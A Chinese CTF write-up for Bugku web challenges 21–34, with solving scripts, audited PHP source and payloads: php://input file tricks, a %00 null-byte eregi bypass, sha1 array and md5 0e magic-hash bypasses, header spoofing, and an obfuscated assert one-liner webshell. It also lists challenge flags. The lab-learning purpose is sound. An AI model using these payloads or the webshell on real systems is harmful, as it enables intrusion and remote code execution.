2020.09.18
完了完了,今天是不是做不完了……🥶
經驗教訓
- re.search(pattern, string)可以找到字符串中匹配正則的某一段字符;
- eval()方法可以用來得出
1+1+2
這種字符串的結果; - python中,post的內容是json,例如
post = {'value': result}
- python中,添加post內容要用post()方法,並且添加data參數,例如
s.post(url, data = post)
; r'(\d+[+\-*])+(\d+)'
可以用來匹配123+456*789
這種算式;- php中,intval()用於對數字取整;
@file_get_contents()
,方法可以通過輸入php://input
來讀取url的輸入字節流;- php中,用來匹配正則的方法一般遇到空字符
\x00
就會停止,\x00
在url中寫作%00
- php中,assert(),斷言方法,如果括號里是字符串,那么他就相當於eval(),會把字符串當作php語句執行。
- html請求頭中,Referer,表示這個請求從什么地方重定向過來的;
- md5碰撞,第三十一題有md5后0e開頭的字符串;
- php中,sha1也可以用輸入數組來進行繞過,因為sha1數組返回false;
第二十一題 秋名山老司機
https://ctf.bugku.com/challenges#秋名山老司機
- 那么題眼就很清楚了,兩秒內把算出來的結果post出去,這看起來只有腳本才能做到。
- 這里的腳本有幾處問題我不太會,參考了大佬的,有幾個問題就是
- 怎么把需要算的數從響應中取出來?
- 取出來之后怎么進行計算?取出來畢竟是字符串,應該沒辦法直接計算才是。
- 下邊大佬的腳本給了解決方案,就總結在經驗教訓中。
import requests
import re
url = 'http://120.24.86.145:8002/qiumingshan/'
s = requests.Session() # 很關鍵,因為session保證了長鏈接,才能保證我們在2s內post出請求,要不然post只會開啟一個新鏈接
source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group() # re.search()可以找到字符串中匹配的某一段字符,這解決方案完美
result = eval(expression) # eval能直接把字符串轉換為可執行的語句,完美
post = {'value': result} # 構造post內容,學到了post的內容是json
print(s.post(url, data = post).text) # 輸出post后結果,學到了請求時添加post內容是用`data=?`
- 經過以上腳本我們就有概率得到flag啦,
Bugku{YOU_DID_IT_BY_SECOND}
,真的是有概率得到,可能是py和php算的數不一樣……
第二十二題 速度要快
https://ctf.bugku.com/challenges#速度要快
- 打開鏈接,查看源碼,意思就是要很快的post叫margin的數據,很快的post簡單,但是margin是什么?
- 我刷新了一遍,在響應頭中發現可疑信息,
6LeR55qE6L+Y5LiN6ZSZ77yM57uZ5L2gZmxhZ+WQpzogTlRVek5qZzM=
- 轉碼得
跑的還不錯,給你flag吧: NTUzNjg3
,但是填入並不對
- 這讓我懷疑這個flag,趕緊還像是base64,於是又一次解碼得
553687
,這個難不成是margin的值??腳本測試一下
- 腳本如下,但是沒有成功,wtf??竟然還嫌不夠快……
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
#fileName : decry.py
#createTime: 2020/09/18 23:34:52
#author : 喬悟空
#purpose : 此腳本用於快速響應目標url並post指定值
import requests
url = "http://123.206.87.240:8002/web6/"
session = requests.session()
res = session.get(url).text
print(res)
for i in range(20):
res = session.post(url,data={'margin':553687}).text
print(res)
6. 看來是思路不對,再去看看,發現端倪,md,我明白了,我發現哪個flag是一直在變的,原來如此,也就是說margin是在變的,也對,怎么可能像之前想的這么簡單吶……修改腳本
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
#fileName : decry.py
#createTime: 2020/09/18 23:34:52
#author : 喬悟空
#purpose : 此腳本用於快速響應目標url並post指定值
import requests
import base64
url = "http://123.206.87.240:8002/web6/"
session = requests.session() # 保持長鏈接
res = session.get(url).headers['flag'] # 取響應頭中flag的動態變化值
print(res)
res = base64.b64decode(res).decode().split(': ')[1] # 第一次base64
print(res)
res = base64.b64decode(res).decode() # 第二次base64
print(res)
res = session.post(url,data={'margin':res}).text # 快速post margin
print(res)
- 運行腳本得到結果,奧力給🤓
KEY{111dd62fcd377076be18a}
第二十三題 cookies欺騙
https://ctf.bugku.com/challenges#cookies欺騙
- 打開之后自動跳轉到
http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
,內容如下:
- 上邊filename,base64轉碼得
keys.txt
,測試index.php的base64aW5kZXgucGhw
- 仔細一看是因為還有一個line參數,輸入
?line=1&filename=aW5kZXgucGhw
,成功返回結果,思路很清晰,用腳本得到整個index.php
- 小腳本如下:
#!/usr/bin/env python 3.8
# -*- encoding: utf-8 -*-
#fileName : decry.py
#createTime: 2020/09/19 07:48:16
#author : 喬悟空
#purpose : 此腳本用於按行獲取整個php文件
import requests
url = "http://123.206.87.240:8002/web11/index.php?line={}&filename=aW5kZXgucGhw"
session = requests.session()
for i in range(100):
req = session.get(url.format(i)).text
if req == '':
break
else:
print(req,end = '')
- 得到的index.php文件如下:進行代碼審計🥱
<?php
error_reporting(0); // 不報錯
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); // 解base64
$line=isset($_GET['line'])?intval($_GET['line']):0; // 對line取整,沒輸入默認為0
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ="); // 默認url值
$file_list = array( //file列表,目前有兩個文件,這就是我們能取到這兩個文件的原因,這里我嘗試用第三步方法直接獲取keys.php文件,失敗了。
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ // 如果cookie滿足條件,那么就添加一個可以獲取的文件keys.php
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){ //yes,和我猜的一樣,必須在列表內才能輸出,接下來發送指定cookie,獲取keys.php
$fa = file($file);
echo $fa[$line];
}
?>
- 小腳本發送指定cookie,獲取keys.php
#!/usr/bin/env python 3.8
# -*- encoding: utf-8 -*-
#fileName : decry2.py
#createTime: 2020/09/19 08:05:15
#author : 喬悟空
#purpose : 此腳本用於向指定鏈接發送cookie,然后按行獲取文件keys.php
import requests
url = "http://123.206.87.240:8002/web11/index.php?line={}&filename=a2V5cy5waHA="
session = requests.session()
for i in range(100):
req = session.get(url.format(i),cookies = {'margin':'margin'}).text
if req == '':
break
else:
print(req,end = '')
- 獲取keys.php如下,直接給了flag,很良心哈哈哈
KEY{key_keys}
<?php $key='KEY{key_keys}'; ?>
第二十四題 never give up
https://ctf.bugku.com/challenges#never%20give%20%20up
- 打開,提示1p.html
- 訪問
http://123.206.87.240:8006/test/1p.html
跳轉回bugku首頁,用burp訪問,發現線索
解碼得:
<!--
var Words ="<script>window.location.href='http://www.bugku.com';</script>
<!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->
"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
// -->
- 中間的base64經過解碼又經過url解碼得到如下,進行代碼審計:
";if(!$_GET['id']) // 初始化重定向
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')) // 不允許a中有點
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r'); //讀取a為名字的文件
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) // 輸出flag的條件
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>
- 輸出flag的條件可謂苛刻……所以試試直接訪問f4l2a3g.txt,成功得到flag
flag{tHis_iS_THe_fLaG}
,但是這應該不是出題人的本意,所以為了學習我們還是看一下他的條件。
- 以a為名字的文件內容要是
bugku is a nice plateform!
;考慮用php://input來滿足 - id = 0;本來感覺很簡單,但是后來發現前面又個條件,導致等0的話,!0=1,導致重定向,那么就不能是數字0可以是字符0
- b長度大於5;這個簡單
- b第一位連起來滿足eregi方法;這個簡單,b第一位是4就好
- 第一位要是4。與上一步矛盾啊,怎么辦?原來eregi可以用空字符來繞過,他匹配到空字符自動停止,url中的空字符自然是%00
- 以a為名字的文件內容要是
- 經過分析,初步構造payload
hello.php?id='0'&a=php://input&b=%00qwkqwk
,nice🤓
第二十五題 welcome to bugkuctf
https://ctf.bugku.com/challenges#welcome%20to%20bugkuctf
- 很好,廢了
第二十六題 過狗一句話
https://ctf.bugku.com/challenges#過狗一句話
- 好像真被刪了,搜了大佬的wp
- 雖然被刪了,但是我們還是分析一下,出題人到底什么意思
<?php
$poc="a#s#s#e#r#t"; // poc賦值
$poc_1=explode("#",$poc); // 去掉poc中的#,結果也就是assert
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; // 現在$poc_2 = assert
$poc_2($_GET['s']) // 這里相當於assert()這個方法
?>
- assert(),詳情參照這里,斷言方法,也就是括號里是對的干什么,是錯的就中斷,再干點什么,我們需要哦知道的是如果括號里是字符串,那么他就相當於eval(),會把字符串當作php語句執行。
第二十七題 字符?正則?
https://ctf.bugku.com/challenges#字符?正則?
- 訪問直接給了源碼,那就代碼審計:
<?php
highlight_file('2.php'); //給出高亮代碼
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>
- 正則表達式啥意思??
/key | .* | key | .{4,7} | key:/ | . | / | (.*key) | [a-z] | [[:punct:]] | /i |
---|---|---|---|---|---|---|---|---|---|---|
key | 多個任意字符 | key | 4-7個任意字符 | key:/ | 任意字符 | / | 多個任意字符key | 任一小寫字母 | 任何符號 | 不分大小寫 |
根據以上分析,構造payload?id=keyqwkkeyqwkqwkkey:/q/qwkkeyq!
,得結果KEY{0x0SIOPh550afc}
第二十八題 前女友(SKCTF)
https://ctf.bugku.com/challenges#前女友(SKCTF)
- 這個題目吸引了我,但是好像竟然不能做了
第二十九題 login1(SKCTF)
https://ctf.bugku.com/challenges#login1(SKCTF)
- 這個也打不開……好像是同一台服務器上的,不會被人干了吧……
第三十題 你從哪里來
https://ctf.bugku.com/challenges#你從哪里來
- 打開界面,意思很明確,你要從google重定向過來
- burp修改請求頭的Referer,這里要改成
https://www.google.com
,一開始我用的www.google.com
不好使,flagflag{bug-ku_ai_admin}
第三十一題 md5 collision(NUPT_CTF)
https://ctf.bugku.com/challenges#md5%20collision(NUPT_CTF)
- 打開,讓輸入a
- 隨便輸入
?a=1
,返回false,這上哪知道a等於多少去……
- 嘗試burp爆破a的值,好久好久以后……沒啥結果,可能是字典的原因吧……那還有別的辦法嗎……
- 難不成是用post??測試未果……
- 測試a[]也沒用
- 百度了之后知道md5 碰撞的一些知識,但是這個題也沒給源碼啊,鬼知道他是怎么比較的……總之也就是md5后的值是0E開頭,在弱等於比較的的時候會被認為是科學技術法,這樣就可以比對成功,嫖來的md5結果開頭是0e的數值,得到flag
flag{md5_collision_is_easy}
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e54599327451770903432885584102
第三十二題 程序員本地網站
https://ctf.bugku.com/challenges#程序員本地網站
- 讓從本地訪問,自然就想到請求頭
X-Forwarded-For: 127.0.0.1
- 有點簡單,哈哈哈,直接給結果了
flag{loc-al-h-o-st1}
第三十三題 各種繞過
https://ctf.bugku.com/challenges#各種繞過
- 直接給了源代碼,代碼審計就完事了🙄
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
- 也就是一個sha1繞過,用數組,兩遍都輸出false,滿足===,他真就輸出了
flag{xxxxxxxxxxxxxxxxxx}
- 原來是這樣,我之前的請求是
/web7/flag.php?uname[]=admin&id=margin
,而正確的是/web7/?uname[]=admin&id=margin
,flag.php只是給我們看的,所以並不能輸出真的flagflag{HACK_45hhs_213sDD}
第三十四題 web8
https://ctf.bugku.com/challenges#web8
- 直接給了源碼:
<?php
extract($_GET); // 把從數組中將變量導入到當前的符號表。
if (!empty($ac))
{
$f = trim(file_get_contents($fn)); // file_get_contents()想到php://input
if ($ac === $f) //相等就輸出flag
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
- 根據源碼構造payload
/web8/?ac=qwk&fn=php://input
,同時postqwk
,得到flagflag{3cfb7a90fc0de31}